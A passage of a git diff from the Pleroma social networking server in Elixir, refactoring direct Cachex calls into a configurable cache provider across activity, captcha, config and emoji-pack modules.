	def with_preloaded_user_actor(query, join_type \\ :inner) do
	query
	\|> with_joined_user_actor(join_type)
	\|> preload([activity, user_actor: user_actor], user_actor: user_actor)
	end

	def with_preloaded_bookmark(query, %User{} = user) do
	from([a] in query,
	left_join: b in Bookmark,
	on: b.user_id == ^user.id and b.activity_id == a.id,
	preload: [bookmark: b]
	)
	end

	def with_preloaded_bookmark(query, _), do: query

	def with_preloaded_report_notes(query) do
	from([a] in query,
	left_join: r in ReportNote,
	on: a.id == r.activity_id,
	preload: [report_notes: r]
	)
	end

	def with_preloaded_report_notes(query, _), do: query

	def with_set_thread_muted_field(query, %User{} = user) do
	from([a] in query,
	left_join: tm in ThreadMute,
	on: tm.user_id == ^user.id and tm.context == fragment("?->>'context'", a.data),
	as: :thread_mute,
	select: %Activity{a \| thread_muted?: not is_nil(tm.id)}
	)
	end

	def with_set_thread_muted_field(query, _), do: query

	def get_by_ap_id(ap_id) do
	ap_id
	\|> Queries.by_ap_id()
	\|> Repo.one()
	end

	def get_bookmark(%Activity{} = activity, %User{} = user) do
	if Ecto.assoc_loaded?(activity.bookmark) do
	activity.bookmark
	else
	Bookmark.get(user.id, activity.id)
	end
	end

	def get_bookmark(_, _), do: nil

	def get_report(activity_id) do
	opts = %{
	type: "Flag",
	skip_preload: true,
	preload_report_notes: true
	}

	ActivityPub.fetch_activities_query([], opts)
	\|> where(id: ^activity_id)
	\|> Repo.one()
	end

	def change(struct, params \\ %{}) do
	struct
	\|> cast(params, [:data, :recipients])
	\|> validate_required([:data])
	\|> unique_constraint(:ap_id, name: :activities_unique_apid_index)
	end

	def get_by_ap_id_with_object(ap_id) do
	ap_id
	\|> Queries.by_ap_id()
	\|> with_preloaded_object(:left)
	\|> Repo.one()
	end

	@spec get_by_id(String.t()) :: Activity.t() \| nil
	def get_by_id(id) do
	case FlakeId.flake_id?(id) do
	true ->
	Activity
	\|> where([a], a.id == ^id)
	\|> restrict_deactivated_users()
	\|> Repo.one()

	_ ->
	nil
	end
	end

	def get_by_id_with_user_actor(id) do
	case FlakeId.flake_id?(id) do
	true ->
	Activity
	\|> where([a], a.id == ^id)
	\|> with_preloaded_user_actor()
	\|> Repo.one()

	_ ->
	nil
	end
	end

	def get_by_id_with_object(id) do
	Activity
	\|> where(id: ^id)
	\|> with_preloaded_object()
	\|> Repo.one()
	end

	def all_by_ids_with_object(ids) do
	Activity
	\|> where([a], a.id in ^ids)
	\|> with_preloaded_object()
	\|> Repo.all()
	end

	@doc """
	Accepts `ap_id` or list of `ap_id`.
	Returns a query.
	"""
	@spec create_by_object_ap_id(String.t() \| [String.t()]) :: Ecto.Queryable.t()
	def create_by_object_ap_id(ap_id) do
	ap_id
	\|> Queries.by_object_id()
	\|> Queries.by_type("Create")
	end

	def get_all_create_by_object_ap_id(ap_id) do
	ap_id
	\|> create_by_object_ap_id()
	\|> Repo.all()
	end

	def get_create_by_object_ap_id(ap_id) when is_binary(ap_id) do
	create_by_object_ap_id(ap_id)
	\|> restrict_deactivated_users()
	\|> Repo.one()
	end

	def get_create_by_object_ap_id(_), do: nil

	@doc """
	Accepts `ap_id` or list of `ap_id`.
	Returns a query.
	"""
	@spec create_by_object_ap_id_with_object(String.t() \| [String.t()]) :: Ecto.Queryable.t()
	def create_by_object_ap_id_with_object(ap_id) do
	ap_id
	\|> create_by_object_ap_id()
	\|> with_preloaded_object()
	end

	def get_create_by_object_ap_id_with_object(ap_id) when is_binary(ap_id) do
	ap_id
	\|> create_by_object_ap_id_with_object()
	\|> Repo.one()
	end

	def get_create_by_object_ap_id_with_object(_), do: nil

	defp get_in_reply_to_activity_from_object(%Object{data: %{"inReplyTo" => ap_id}}) do
	get_create_by_object_ap_id_with_object(ap_id)
	end

	defp get_in_reply_to_activity_from_object(_), do: nil

	def get_in_reply_to_activity(%Activity{} = activity) do
	get_in_reply_to_activity_from_object(Object.normalize(activity))
	end

	def normalize(obj) when is_map(obj), do: get_by_ap_id_with_object(obj["id"])
	def normalize(ap_id) when is_binary(ap_id), do: get_by_ap_id_with_object(ap_id)
	def normalize(_), do: nil

	def delete_all_by_object_ap_id(id) when is_binary(id) do
	id
	\|> Queries.by_object_id()
	\|> Queries.exclude_type("Delete")
	\|> select([u], u)
	\|> Repo.delete_all()
	\|> elem(1)
	\|> Enum.find(fn
	%{data: %{"type" => "Create", "object" => ap_id}} when is_binary(ap_id) -> ap_id == id
	%{data: %{"type" => "Create", "object" => %{"id" => ap_id}}} -> ap_id == id
	_ -> nil
	end)
	\|> purge_web_resp_cache()
	end

	def delete_all_by_object_ap_id(_), do: nil

	defp purge_web_resp_cache(%Activity{} = activity) do
	%{path: path} = URI.parse(activity.data["id"])
	- Cachex.del(:web_resp_cache, path)
	+ @cachex.del(:web_resp_cache, path)
	activity
	end

	defp purge_web_resp_cache(nil), do: nil

	def follow_accepted?(
	%Activity{data: %{"type" => "Follow", "object" => followed_ap_id}} = activity
	) do
	with %User{} = follower <- Activity.user_actor(activity),
	%User{} = followed <- User.get_cached_by_ap_id(followed_ap_id) do
	Pleroma.FollowingRelationship.following?(follower, followed)
	else
	_ -> false
	end
	end

	def follow_accepted?(_), do: false

	def all_by_actor_and_id(actor, status_ids \\ [])
	def all_by_actor_and_id(_actor, []), do: []

	def all_by_actor_and_id(actor, status_ids) do
	Activity
	\|> where([s], s.id in ^status_ids)
	\|> where([s], s.actor == ^actor)
	\|> Repo.all()
	end

	def follow_requests_for_actor(%User{ap_id: ap_id}) do
	ap_id
	\|> Queries.by_object_id()
	\|> Queries.by_type("Follow")
	\|> where([a], fragment("? ->> 'state' = 'pending'", a.data))
	end

	def following_requests_for_actor(%User{ap_id: ap_id}) do
	Queries.by_type("Follow")
	\|> where([a], fragment("?->>'state' = 'pending'", a.data))
	\|> where([a], a.actor == ^ap_id)
	\|> Repo.all()
	end

	def restrict_deactivated_users(query) do
	deactivated_users =
	from(u in User.Query.build(%{deactivated: true}), select: u.ap_id)
	\|> Repo.all()

	Activity.Queries.exclude_authors(query, deactivated_users)
	end

	defdelegate search(user, query, options \\ []), to: Pleroma.Activity.Search

	def direct_conversation_id(activity, for_user) do
	alias Pleroma.Conversation.Participation

	with %{data: %{"context" => context}} when is_binary(context) <- activity,
	%Pleroma.Conversation{} = conversation <- Pleroma.Conversation.get_for_ap_id(context),
	%Participation{id: participation_id} <-
	Participation.for_user_and_conversation(for_user, conversation) do
	participation_id
	else
	_ -> nil
	end
	end

	@spec pinned_by_actor?(Activity.t()) :: boolean()
	def pinned_by_actor?(%Activity{} = activity) do
	actor = user_actor(activity)
	activity.id in actor.pinned_activities
	end

	@spec get_by_object_ap_id_with_object(String.t()) :: t() \| nil
	def get_by_object_ap_id_with_object(ap_id) when is_binary(ap_id) do
	ap_id
	\|> Queries.by_object_id()
	\|> with_preloaded_object()
	\|> first()
	\|> Repo.one()
	end

	def get_by_object_ap_id_with_object(_), do: nil
	end
	diff --git a/lib/pleroma/caching.ex b/lib/pleroma/caching.ex
	new file mode 100644
	index 000000000..766d12d1b
	--- /dev/null
	+++ b/lib/pleroma/caching.ex
	@@ -0,0 +1,19 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+defmodule Pleroma.Caching do
	+ @callback get!(Cachex.cache(), any()) :: any()
	+ @callback get(Cachex.cache(), any()) :: {atom(), any()}
	+ @callback put(Cachex.cache(), any(), any(), Keyword.t()) :: {Cachex.status(), boolean()}
	+ @callback put(Cachex.cache(), any(), any()) :: {Cachex.status(), boolean()}
	+ @callback fetch!(Cachex.cache(), any(), function() \| nil) :: any()
	+ # @callback del(Cachex.cache(), any(), Keyword.t()) :: {Cachex.status(), boolean()}
	+ @callback del(Cachex.cache(), any()) :: {Cachex.status(), boolean()}
	+ @callback stream!(Cachex.cache(), any()) :: Enumerable.t()
	+ @callback expire_at(Cachex.cache(), binary(), number()) :: {Cachex.status(), boolean()}
	+ @callback exists?(Cachex.cache(), any()) :: {Cachex.status(), boolean()}
	+ @callback execute!(Cachex.cache(), function()) :: any()
	+ @callback get_and_update(Cachex.cache(), any(), function()) ::
	+ {:commit \| :ignore, any()}
	+end
	diff --git a/lib/pleroma/captcha.ex b/lib/pleroma/captcha.ex
	index 6ab754b6f..990003dcd 100644
	--- a/lib/pleroma/captcha.ex
	+++ b/lib/pleroma/captcha.ex
	@@ -1,102 +1,104 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Captcha do
	alias Calendar.DateTime
	alias Plug.Crypto.KeyGenerator
	alias Plug.Crypto.MessageEncryptor

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	@doc """
	Ask the configured captcha service for a new captcha
	"""
	def new do
	if not enabled?() do
	%{type: :none}
	else
	new_captcha = method().new()

	# This make salt a little different for two keys
	{secret, sign_secret} = secret_pair(new_captcha[:token])

	# Basically copy what Phoenix.Token does here, add the time to
	# the actual data and make it a binary to then encrypt it
	encrypted_captcha_answer =
	%{
	at: DateTime.now_utc(),
	answer_data: new_captcha[:answer_data]
	}
	\|> :erlang.term_to_binary()
	\|> MessageEncryptor.encrypt(secret, sign_secret)

	# Replace the answer with the encrypted answer
	%{new_captcha \| answer_data: encrypted_captcha_answer}
	end
	end

	@doc """
	Ask the configured captcha service to validate the captcha
	"""
	def validate(token, captcha, answer_data) do
	with {:ok, %{at: at, answer_data: answer_md5}} <- validate_answer_data(token, answer_data),
	:ok <- validate_expiration(at),
	:ok <- validate_usage(token),
	:ok <- method().validate(token, captcha, answer_md5),
	{:ok, _} <- mark_captcha_as_used(token) do
	:ok
	end
	end

	def enabled?, do: Pleroma.Config.get([__MODULE__, :enabled], false)

	defp seconds_valid, do: Pleroma.Config.get!([__MODULE__, :seconds_valid])

	defp secret_pair(token) do
	secret_key_base = Pleroma.Config.get!([Pleroma.Web.Endpoint, :secret_key_base])
	secret = KeyGenerator.generate(secret_key_base, token <> "_encrypt")
	sign_secret = KeyGenerator.generate(secret_key_base, token <> "_sign")

	{secret, sign_secret}
	end

	defp validate_answer_data(token, answer_data) do
	{secret, sign_secret} = secret_pair(token)

	with false <- is_nil(answer_data),
	{:ok, data} <- MessageEncryptor.decrypt(answer_data, secret, sign_secret),
	%{at: at, answer_data: answer_md5} <- :erlang.binary_to_term(data) do
	{:ok, %{at: at, answer_data: answer_md5}}
	else
	_ -> {:error, :invalid_answer_data}
	end
	end

	defp validate_expiration(created_at) do
	# If the time found is less than (current_time-seconds_valid) then the time has already passed
	# Later we check that the time found is more than the presumed invalidatation time, that means
	# that the data is still valid and the captcha can be checked

	valid_if_after = DateTime.subtract!(DateTime.now_utc(), seconds_valid())

	if DateTime.before?(created_at, valid_if_after) do
	{:error, :expired}
	else
	:ok
	end
	end

	defp validate_usage(token) do
	- if is_nil(Cachex.get!(:used_captcha_cache, token)) do
	+ if is_nil(@cachex.get!(:used_captcha_cache, token)) do
	:ok
	else
	{:error, :already_used}
	end
	end

	defp mark_captcha_as_used(token) do
	ttl = seconds_valid() \|> :timer.seconds()
	- Cachex.put(:used_captcha_cache, token, true, ttl: ttl)
	+ @cachex.put(:used_captcha_cache, token, true, ttl: ttl)
	end

	defp method, do: Pleroma.Config.get!([__MODULE__, :method])
	end
	diff --git a/lib/pleroma/config.ex b/lib/pleroma/config.ex
	index 97f877595..86d4f6b72 100644
	--- a/lib/pleroma/config.ex
	+++ b/lib/pleroma/config.ex
	@@ -1,109 +1,114 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Config do
	+ @behaviour Pleroma.Config.Getting
	defmodule Error do
	defexception [:message]
	end

	+ @impl true
	def get(key), do: get(key, nil)

	+ @impl true
	def get([key], default), do: get(key, default)

	+ @impl true
	def get([_ \| _] = path, default) do
	case fetch(path) do
	{:ok, value} -> value
	:error -> default
	end
	end

	+ @impl true
	def get(key, default) do
	Application.get_env(:pleroma, key, default)
	end

	def get!(key) do
	value = get(key, nil)

	if value == nil do
	raise(Error, message: "Missing configuration value: #{inspect(key)}")
	else
	value
	end
	end

	def fetch(key) when is_atom(key), do: fetch([key])

	def fetch([root_key \| keys]) do
	Enum.reduce_while(keys, Application.fetch_env(:pleroma, root_key), fn
	key, {:ok, config} when is_map(config) or is_list(config) ->
	case Access.fetch(config, key) do
	:error ->
	{:halt, :error}

	value ->
	{:cont, value}
	end

	_key, _config ->
	{:halt, :error}
	end)
	end

	def put([key], value), do: put(key, value)

	def put([parent_key \| keys], value) do
	parent =
	Application.get_env(:pleroma, parent_key, [])
	\|> put_in(keys, value)

	Application.put_env(:pleroma, parent_key, parent)
	end

	def put(key, value) do
	Application.put_env(:pleroma, key, value)
	end

	def delete([key]), do: delete(key)

	def delete([parent_key \| keys] = path) do
	with {:ok, _} <- fetch(path) do
	{_, parent} =
	parent_key
	\|> get()
	\|> get_and_update_in(keys, fn _ -> :pop end)

	Application.put_env(:pleroma, parent_key, parent)
	end
	end

	def delete(key) do
	Application.delete_env(:pleroma, key)
	end

	def restrict_unauthenticated_access?(resource, kind) do
	setting = get([:restrict_unauthenticated, resource, kind])

	if setting in [nil, :if_instance_is_private] do
	!get!([:instance, :public])
	else
	setting
	end
	end

	def oauth_consumer_strategies, do: get([:auth, :oauth_consumer_strategies], [])

	def oauth_consumer_enabled?, do: oauth_consumer_strategies() != []

	def enforce_oauth_admin_scope_usage?, do: !!get([:auth, :enforce_oauth_admin_scope_usage])

	def oauth_admin_scopes(scopes) when is_list(scopes) do
	Enum.flat_map(
	scopes,
	fn scope ->
	["admin:#{scope}"] ++
	if enforce_oauth_admin_scope_usage?(), do: [], else: [scope]
	end
	)
	end
	end
	diff --git a/lib/jason_types.ex b/lib/pleroma/config/getting.ex
	similarity index 58%
	copy from lib/jason_types.ex
	copy to lib/pleroma/config/getting.ex
	index f1fdc96f4..cc557674c 100644
	--- a/lib/jason_types.ex
	+++ b/lib/pleroma/config/getting.ex
	@@ -1,9 +1,8 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	-Postgrex.Types.define(
	- Pleroma.PostgresTypes,
	- [] ++ Ecto.Adapters.Postgres.extensions(),
	- json: Jason
	-)
	+defmodule Pleroma.Config.Getting do
	+ @callback get(any()) :: any()
	+ @callback get(any(), any()) :: any()
	+end
	diff --git a/lib/pleroma/emoji/pack.ex b/lib/pleroma/emoji/pack.ex
	index f768af19f..ec97aa652 100644
	--- a/lib/pleroma/emoji/pack.ex
	+++ b/lib/pleroma/emoji/pack.ex
	@@ -1,652 +1,654 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Emoji.Pack do
	@derive {Jason.Encoder, only: [:files, :pack, :files_count]}
	defstruct files: %{},
	files_count: 0,
	pack_file: nil,
	path: nil,
	pack: %{},
	name: nil

	@type t() :: %__MODULE__{
	files: %{String.t() => Path.t()},
	files_count: non_neg_integer(),
	pack_file: Path.t(),
	path: Path.t(),
	pack: map(),
	name: String.t()
	}

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	alias Pleroma.Emoji
	alias Pleroma.Emoji.Pack
	alias Pleroma.Utils

	@spec create(String.t()) :: {:ok, t()} \| {:error, File.posix()} \| {:error, :empty_values}
	def create(name) do
	with :ok <- validate_not_empty([name]),
	dir <- Path.join(emoji_path(), name),
	:ok <- File.mkdir(dir) do
	save_pack(%__MODULE__{pack_file: Path.join(dir, "pack.json")})
	end
	end

	defp paginate(entities, 1, page_size), do: Enum.take(entities, page_size)

	defp paginate(entities, page, page_size) do
	entities
	\|> Enum.chunk_every(page_size)
	\|> Enum.at(page - 1)
	end

	@spec show(keyword()) :: {:ok, t()} \| {:error, atom()}
	def show(opts) do
	name = opts[:name]

	with :ok <- validate_not_empty([name]),
	{:ok, pack} <- load_pack(name) do
	shortcodes =
	pack.files
	\|> Map.keys()
	\|> Enum.sort()
	\|> paginate(opts[:page], opts[:page_size])

	pack = Map.put(pack, :files, Map.take(pack.files, shortcodes))

	{:ok, validate_pack(pack)}
	end
	end

	@spec delete(String.t()) ::
	{:ok, [binary()]} \| {:error, File.posix(), binary()} \| {:error, :empty_values}
	def delete(name) do
	with :ok <- validate_not_empty([name]),
	pack_path <- Path.join(emoji_path(), name) do
	File.rm_rf(pack_path)
	end
	end

	@spec unpack_zip_emojies(list(tuple())) :: list(map())
	defp unpack_zip_emojies(zip_files) do
	Enum.reduce(zip_files, [], fn
	{_, path, s, _, _, _}, acc when elem(s, 2) == :regular ->
	with(
	filename <- Path.basename(path),
	shortcode <- Path.basename(filename, Path.extname(filename)),
	false <- Emoji.exist?(shortcode)
	) do
	[%{path: path, filename: path, shortcode: shortcode} \| acc]
	else
	_ -> acc
	end

	_, acc ->
	acc
	end)
	end

	@spec add_file(t(), String.t(), Path.t(), Plug.Upload.t()) ::
	{:ok, t()}
	\| {:error, File.posix() \| atom()}
	def add_file(%Pack{} = pack, _, _, %Plug.Upload{content_type: "application/zip"} = file) do
	with {:ok, zip_files} <- :zip.table(to_charlist(file.path)),
	[_ \| _] = emojies <- unpack_zip_emojies(zip_files),
	{:ok, tmp_dir} <- Utils.tmp_dir("emoji") do
	try do
	{:ok, _emoji_files} =
	:zip.unzip(
	to_charlist(file.path),
	[{:file_list, Enum.map(emojies, & &1[:path])}, {:cwd, tmp_dir}]
	)

	{_, updated_pack} =
	Enum.map_reduce(emojies, pack, fn item, emoji_pack ->
	emoji_file = %Plug.Upload{
	filename: item[:filename],
	path: Path.join(tmp_dir, item[:path])
	}

	{:ok, updated_pack} =
	do_add_file(
	emoji_pack,
	item[:shortcode],
	to_string(item[:filename]),
	emoji_file
	)

	{item, updated_pack}
	end)

	Emoji.reload()

	{:ok, updated_pack}
	after
	File.rm_rf(tmp_dir)
	end
	else
	{:error, _} = error ->
	error

	_ ->
	{:ok, pack}
	end
	end

	def add_file(%Pack{} = pack, shortcode, filename, %Plug.Upload{} = file) do
	with :ok <- validate_not_empty([shortcode, filename]),
	:ok <- validate_emoji_not_exists(shortcode),
	{:ok, updated_pack} <- do_add_file(pack, shortcode, filename, file) do
	Emoji.reload()
	{:ok, updated_pack}
	end
	end

	defp do_add_file(pack, shortcode, filename, file) do
	with :ok <- save_file(file, pack, filename) do
	pack
	\|> put_emoji(shortcode, filename)
	\|> save_pack()
	end
	end

	@spec delete_file(t(), String.t()) ::
	{:ok, t()} \| {:error, File.posix() \| atom()}
	def delete_file(%Pack{} = pack, shortcode) do
	with :ok <- validate_not_empty([shortcode]),
	:ok <- remove_file(pack, shortcode),
	{:ok, updated_pack} <- pack \|> delete_emoji(shortcode) \|> save_pack() do
	Emoji.reload()
	{:ok, updated_pack}
	end
	end

	@spec update_file(t(), String.t(), String.t(), String.t(), boolean()) ::
	{:ok, t()} \| {:error, File.posix() \| atom()}
	def update_file(%Pack{} = pack, shortcode, new_shortcode, new_filename, force) do
	with :ok <- validate_not_empty([shortcode, new_shortcode, new_filename]),
	{:ok, filename} <- get_filename(pack, shortcode),
	:ok <- validate_emoji_not_exists(new_shortcode, force),
	:ok <- rename_file(pack, filename, new_filename),
	{:ok, updated_pack} <-
	pack
	\|> delete_emoji(shortcode)
	\|> put_emoji(new_shortcode, new_filename)
	\|> save_pack() do
	Emoji.reload()
	{:ok, updated_pack}
	end
	end

	@spec import_from_filesystem() :: {:ok, [String.t()]} \| {:error, File.posix() \| atom()}
	def import_from_filesystem do
	emoji_path = emoji_path()

	with {:ok, %{access: :read_write}} <- File.stat(emoji_path),
	{:ok, results} <- File.ls(emoji_path) do
	names =
	results
	\|> Enum.map(&Path.join(emoji_path, &1))
	\|> Enum.reject(fn path ->
	File.dir?(path) and File.exists?(Path.join(path, "pack.json"))
	end)
	\|> Enum.map(&write_pack_contents/1)
	\|> Enum.reject(&is_nil/1)

	{:ok, names}
	else
	{:ok, %{access: _}} -> {:error, :no_read_write}
	e -> e
	end
	end

	@spec list_remote(keyword()) :: {:ok, map()} \| {:error, atom()}
	def list_remote(opts) do
	uri = opts[:url] \|> String.trim() \|> URI.parse()

	with :ok <- validate_shareable_packs_available(uri) do
	uri
	\|> URI.merge("/api/pleroma/emoji/packs?page=#{opts[:page]}&page_size=#{opts[:page_size]}")
	\|> http_get()
	end
	end

	@spec list_local(keyword()) :: {:ok, map(), non_neg_integer()}
	def list_local(opts) do
	with {:ok, results} <- list_packs_dir() do
	all_packs =
	results
	\|> Enum.map(fn name ->
	case load_pack(name) do
	{:ok, pack} -> pack
	_ -> nil
	end
	end)
	\|> Enum.reject(&is_nil/1)

	packs =
	all_packs
	\|> paginate(opts[:page], opts[:page_size])
	\|> Map.new(fn pack -> {pack.name, validate_pack(pack)} end)

	{:ok, packs, length(all_packs)}
	end
	end

	@spec get_archive(String.t()) :: {:ok, binary()} \| {:error, atom()}
	def get_archive(name) do
	with {:ok, pack} <- load_pack(name),
	:ok <- validate_downloadable(pack) do
	{:ok, fetch_archive(pack)}
	end
	end

	@spec download(String.t(), String.t(), String.t()) :: {:ok, t()} \| {:error, atom()}
	def download(name, url, as) do
	uri = url \|> String.trim() \|> URI.parse()

	with :ok <- validate_shareable_packs_available(uri),
	{:ok, remote_pack} <-
	uri \|> URI.merge("/api/pleroma/emoji/pack?name=#{name}") \|> http_get(),
	{:ok, %{sha: sha, url: url} = pack_info} <- fetch_pack_info(remote_pack, uri, name),
	{:ok, archive} <- download_archive(url, sha),
	pack <- copy_as(remote_pack, as \|\| name),
	{:ok, _} = unzip(archive, pack_info, remote_pack, pack) do
	# Fallback can't contain a pack.json file, since that would cause the fallback-src-sha256
	# in it to depend on itself
	if pack_info[:fallback] do
	save_pack(pack)
	else
	{:ok, pack}
	end
	end
	end

	@spec save_metadata(map(), t()) :: {:ok, t()} \| {:error, File.posix()}
	def save_metadata(metadata, %__MODULE__{} = pack) do
	pack
	\|> Map.put(:pack, metadata)
	\|> save_pack()
	end

	@spec update_metadata(String.t(), map()) :: {:ok, t()} \| {:error, File.posix()}
	def update_metadata(name, data) do
	with {:ok, pack} <- load_pack(name) do
	if fallback_sha_changed?(pack, data) do
	update_sha_and_save_metadata(pack, data)
	else
	save_metadata(data, pack)
	end
	end
	end

	@spec load_pack(String.t()) :: {:ok, t()} \| {:error, :file.posix()}
	def load_pack(name) do
	pack_file = Path.join([emoji_path(), name, "pack.json"])

	with {:ok, _} <- File.stat(pack_file),
	{:ok, pack_data} <- File.read(pack_file) do
	pack =
	from_json(
	pack_data,
	%{
	pack_file: pack_file,
	path: Path.dirname(pack_file),
	name: name
	}
	)

	files_count =
	pack.files
	\|> Map.keys()
	\|> length()

	{:ok, Map.put(pack, :files_count, files_count)}
	end
	end

	@spec emoji_path() :: Path.t()
	defp emoji_path do
	[:instance, :static_dir]
	\|> Pleroma.Config.get!()
	\|> Path.join("emoji")
	end

	defp validate_emoji_not_exists(shortcode, force \\ false)
	defp validate_emoji_not_exists(_shortcode, true), do: :ok

	defp validate_emoji_not_exists(shortcode, _) do
	if Emoji.exist?(shortcode) do
	{:error, :already_exists}
	else
	:ok
	end
	end

	defp write_pack_contents(path) do
	pack = %__MODULE__{
	files: files_from_path(path),
	path: path,
	pack_file: Path.join(path, "pack.json")
	}

	case save_pack(pack) do
	{:ok, _pack} -> Path.basename(path)
	_ -> nil
	end
	end

	defp files_from_path(path) do
	txt_path = Path.join(path, "emoji.txt")

	if File.exists?(txt_path) do
	# There's an emoji.txt file, it's likely from a pack installed by the pack manager.
	# Make a pack.json file from the contents of that emoji.txt file

	# FIXME: Copy-pasted from Pleroma.Emoji/load_from_file_stream/2

	# Create a map of shortcodes to filenames from emoji.txt
	txt_path
	\|> File.read!()
	\|> String.split("\n")
	\|> Enum.map(&String.trim/1)
	\|> Enum.map(fn line ->
	case String.split(line, ~r/,\s*/) do
	# This matches both strings with and without tags
	# and we don't care about tags here
	[name, file \| _] ->
	file_dir_name = Path.dirname(file)

	if String.ends_with?(path, file_dir_name) do
	{name, Path.basename(file)}
	else
	{name, file}
	end

	_ ->
	nil
	end
	end)
	\|> Enum.reject(&is_nil/1)
	\|> Map.new()
	else
	# If there's no emoji.txt, assume all files
	# that are of certain extensions from the config are emojis and import them all
	pack_extensions = Pleroma.Config.get!([:emoji, :pack_extensions])
	Emoji.Loader.make_shortcode_to_file_map(path, pack_extensions)
	end
	end

	defp validate_pack(pack) do
	info =
	if downloadable?(pack) do
	archive = fetch_archive(pack)
	archive_sha = :crypto.hash(:sha256, archive) \|> Base.encode16()

	pack.pack
	\|> Map.put("can-download", true)
	\|> Map.put("download-sha256", archive_sha)
	else
	Map.put(pack.pack, "can-download", false)
	end

	Map.put(pack, :pack, info)
	end

	defp downloadable?(pack) do
	# If the pack is set as shared, check if it can be downloaded
	# That means that when asked, the pack can be packed and sent to the remote
	# Otherwise, they'd have to download it from external-src
	pack.pack["share-files"] &&
	Enum.all?(pack.files, fn {_, file} ->
	pack.path
	\|> Path.join(file)
	\|> File.exists?()
	end)
	end

	defp create_archive_and_cache(pack, hash) do
	files = ['pack.json' \| Enum.map(pack.files, fn {_, file} -> to_charlist(file) end)]

	{:ok, {_, result}} =
	:zip.zip('#{pack.name}.zip', files, [:memory, cwd: to_charlist(pack.path)])

	ttl_per_file = Pleroma.Config.get!([:emoji, :shared_pack_cache_seconds_per_file])
	overall_ttl = :timer.seconds(ttl_per_file * Enum.count(files))

	- Cachex.put!(
	+ @cachex.put(
	:emoji_packs_cache,
	pack.name,
	# if pack.json MD5 changes, the cache is not valid anymore
	%{hash: hash, pack_data: result},
	# Add a minute to cache time for every file in the pack
	ttl: overall_ttl
	)

	result
	end

	defp save_pack(pack) do
	with {:ok, json} <- Jason.encode(pack, pretty: true),
	:ok <- File.write(pack.pack_file, json) do
	{:ok, pack}
	end
	end

	defp from_json(json, attrs) do
	map = Jason.decode!(json)

	pack_attrs =
	attrs
	\|> Map.merge(%{
	files: map["files"],
	pack: map["pack"]
	})

	struct(__MODULE__, pack_attrs)
	end

	defp validate_shareable_packs_available(uri) do
	with {:ok, %{"links" => links}} <- uri \|> URI.merge("/.well-known/nodeinfo") \|> http_get(),
	# Get the actual nodeinfo address and fetch it
	{:ok, %{"metadata" => %{"features" => features}}} <-
	links \|> List.last() \|> Map.get("href") \|> http_get() do
	if Enum.member?(features, "shareable_emoji_packs") do
	:ok
	else
	{:error, :not_shareable}
	end
	end
	end

	defp validate_not_empty(list) do
	if Enum.all?(list, fn i -> is_binary(i) and i != "" end) do
	:ok
	else
	{:error, :empty_values}
	end
	end

	defp save_file(%Plug.Upload{path: upload_path}, pack, filename) do
	file_path = Path.join(pack.path, filename)
	create_subdirs(file_path)

	with {:ok, _} <- File.copy(upload_path, file_path) do
	:ok
	end
	end

	defp put_emoji(pack, shortcode, filename) do
	files = Map.put(pack.files, shortcode, filename)
	%{pack \| files: files, files_count: length(Map.keys(files))}
	end

	defp delete_emoji(pack, shortcode) do
	files = Map.delete(pack.files, shortcode)
	%{pack \| files: files}
	end

	defp rename_file(pack, filename, new_filename) do
	old_path = Path.join(pack.path, filename)
	new_path = Path.join(pack.path, new_filename)
	create_subdirs(new_path)

	with :ok <- File.rename(old_path, new_path) do
	remove_dir_if_empty(old_path, filename)
	end
	end

	defp create_subdirs(file_path) do
	with true <- String.contains?(file_path, "/"),
	path <- Path.dirname(file_path),
	false <- File.exists?(path) do
	File.mkdir_p!(path)
	end
	end

	defp remove_file(pack, shortcode) do
	with {:ok, filename} <- get_filename(pack, shortcode),
	emoji <- Path.join(pack.path, filename),
	:ok <- File.rm(emoji) do
	remove_dir_if_empty(emoji, filename)
	end
	end

	defp remove_dir_if_empty(emoji, filename) do
	dir = Path.dirname(emoji)

	if String.contains?(filename, "/") and File.ls!(dir) == [] do
	File.rmdir!(dir)
	else
	:ok
	end
	end

	defp get_filename(pack, shortcode) do
	with %{^shortcode => filename} when is_binary(filename) <- pack.files,
	file_path <- Path.join(pack.path, filename),
	{:ok, _} <- File.stat(file_path) do
	{:ok, filename}
	else
	{:error, _} = error ->
	error

	_ ->
	{:error, :doesnt_exist}
	end
	end

	defp http_get(%URI{} = url), do: url \|> to_string() \|> http_get()

	defp http_get(url) do
	with {:ok, %{body: body}} <- Pleroma.HTTP.get(url, [], pool: :default) do
	Jason.decode(body)
	end
	end

	defp list_packs_dir do
	emoji_path = emoji_path()
	# Create the directory first if it does not exist. This is probably the first request made
	# with the API so it should be sufficient
	with {:create_dir, :ok} <- {:create_dir, File.mkdir_p(emoji_path)},
	{:ls, {:ok, results}} <- {:ls, File.ls(emoji_path)} do
	{:ok, Enum.sort(results)}
	else
	{:create_dir, {:error, e}} -> {:error, :create_dir, e}
	{:ls, {:error, e}} -> {:error, :ls, e}
	end
	end

	defp validate_downloadable(pack) do
	if downloadable?(pack), do: :ok, else: {:error, :cant_download}
	end

	defp copy_as(remote_pack, local_name) do
	path = Path.join(emoji_path(), local_name)

	%__MODULE__{
	name: local_name,
	path: path,
	files: remote_pack["files"],
	pack_file: Path.join(path, "pack.json")
	}
	end

	defp unzip(archive, pack_info, remote_pack, local_pack) do
	with :ok <- File.mkdir_p!(local_pack.path) do
	files = Enum.map(remote_pack["files"], fn {_, path} -> to_charlist(path) end)
	# Fallback cannot contain a pack.json file
	files = if pack_info[:fallback], do: files, else: ['pack.json' \| files]

	:zip.unzip(archive, cwd: to_charlist(local_pack.path), file_list: files)
	end
	end

